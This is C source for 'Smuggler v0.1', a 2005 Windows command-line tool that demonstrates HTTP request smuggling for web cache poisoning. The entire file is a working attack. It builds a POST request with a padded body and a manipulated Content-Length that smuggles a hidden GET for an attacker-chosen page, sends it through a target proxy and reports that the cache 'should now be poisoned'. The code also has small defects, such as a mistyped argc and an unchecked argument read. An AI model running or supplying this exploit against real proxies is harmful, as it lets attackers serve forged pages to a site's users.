/*
Smuggler v0.1, Andy Davis, Information Risk Management 2005
Demonstrates HTTP Request Smuggling - Web Cache Poisoning

This code is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
Or, point your browser to http://www.gnu.org/copyleft/gpl.html
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")


void usage (void);
int send_packet (unsigned char * PacketBuf, unsigned char * ProxyIP, unsigned char * ProxyPort);


void main(int *argc, char **argv) 
	{

	unsigned char * TargetIP;
	unsigned char * ProxyIP;
	unsigned char * ProxyPort;
	unsigned char * POSTPage;
	unsigned char * PageToPoison;
	unsigned char * PoisoningPage;
	unsigned char ContentLength[6];
	unsigned char FinalBuf[50000];
	unsigned char BodyBuf[49200];
	unsigned char buf1[] = "POST http://\x00";
	unsigned char buf2[] = "/";
	unsigned char buf3[] = " HTTP/1.1\r\nHost: \x00";
	unsigned char buf4[] = "\r\nConnection: keep-alive\r\nContent-Length: \x00";
	unsigned char buf6[] = "\r\n\r\n\x00"; 
	unsigned char buf7[] = "\r\n GET /\x00";
	unsigned char buf8[] = " HTTP/1.0\r\n\r\n\x00";
	unsigned char buf9[] = "GET http://\x00";
	unsigned char buf10[] = " HTTP/1.1\r\nHost: \x00";
	int ContentLen = 0;

	int x = 0;

	if (argc < 6)
		usage();

	memset (BodyBuf,'A',49150);
	BodyBuf[49150] = 0;

	TargetIP = argv[1];
	ProxyIP = argv[2];
	ProxyPort = argv[3];
	POSTPage = argv[4];
	PageToPoison = argv[5];
	PoisoningPage = argv[6];

	memset (FinalBuf, 0, 50000);

	for (x=0; x<50000; x++)
		FinalBuf[x] = '\x00';

	ContentLen = 49150 + strlen(buf7) + strlen(PoisoningPage) + strlen(buf8) - 5;
	itoa (ContentLen, ContentLength, 10);

	/* Build HTTP request */

	strncpy (FinalBuf, buf1, strlen(buf1));
	strncat (FinalBuf, TargetIP, strlen(TargetIP));
	strncat (FinalBuf, buf2, strlen(buf2));
	strncat (FinalBuf, POSTPage, strlen(POSTPage));
	strncat (FinalBuf, buf3, strlen(buf3));	
	strncat (FinalBuf, TargetIP, strlen(TargetIP));
	strncat (FinalBuf, buf4, strlen(buf4));
	strncat (FinalBuf, ContentLength, strlen(ContentLength));
	strncat (FinalBuf, buf6, strlen(buf6));
	strncat (FinalBuf, BodyBuf, strlen(BodyBuf));
	strncat (FinalBuf, buf7, strlen(buf7));
	strncat (FinalBuf, PoisoningPage, strlen(PoisoningPage));
	strncat (FinalBuf, buf8, strlen(buf8));
	strncat (FinalBuf, buf9, strlen(buf9));
	strncat (FinalBuf, TargetIP, strlen(TargetIP));
	strncat (FinalBuf, buf2, strlen(buf2));
	strncat (FinalBuf, PageToPoison, strlen(PageToPoison));
	strncat (FinalBuf, buf10, strlen(buf10));
	strncat (FinalBuf, TargetIP, strlen(TargetIP));
	strncat (FinalBuf, buf6, strlen(buf6));

	send_packet (FinalBuf, ProxyIP, ProxyPort);
	}


void usage (void)
	{
	printf ("\n---------------------------------------------------\n");
	printf ("smuggler v0.1 - The HTTP Request Smuggling tool\n");
	printf ("Andy Davis, IRM plc 2005\n"); 
	printf ("---------------------------------------------------\n\n");
	printf ("Usage: smuggler <web server address> <proxy server address> <proxy server port> <POST ASP script> <page to poison> <poisoning page> \n\n");
	exit (1);
	}


int send_packet (unsigned char * PacketBuf, unsigned char * TargetIP, unsigned char * ProxyPort)
	{

	int bytesSent;
	int bytesRecv = SOCKET_ERROR;
	char recvbuf[100];
	SOCKADDR_IN clientService; 
	SOCKET ConnectSocket;
	WSADATA wsaData;

	int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if (iResult != NO_ERROR)
		printf("Error at WSAStartup()\n");

	ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (ConnectSocket == INVALID_SOCKET) 
		{
		printf("Error at socket(): %ld\n", WSAGetLastError());
		WSACleanup();
		exit (-1);
		}
    
	clientService.sin_family = AF_INET;
	clientService.sin_addr.s_addr = inet_addr(TargetIP);
	clientService.sin_port = htons(atoi(ProxyPort));

	if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) 
		{
		printf( "Error: socket(): %ld\n", WSAGetLastError());
        WSACleanup();
        exit (-1);
		}

	printf ("\nSending smuggled request.....");
	bytesSent = send( ConnectSocket, PacketBuf, strlen(PacketBuf), 0 );

	if (bytesSent > 0)
		{
		printf ("request sent successfully\n");
		printf ("Please wait.....\n");
		}
	else
		{
		printf ("\nSend failed.\n\n");
		}

	while( bytesRecv == SOCKET_ERROR ) 
		{
		bytesRecv = recv( ConnectSocket, recvbuf, 32, 0 );
		if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) 
			{
			printf( "Connection Closed.\n");
			break;
			}
		printf ("The web cache should now be poisoned\n\n");
		}

	WSACleanup();
	return 0;
	}


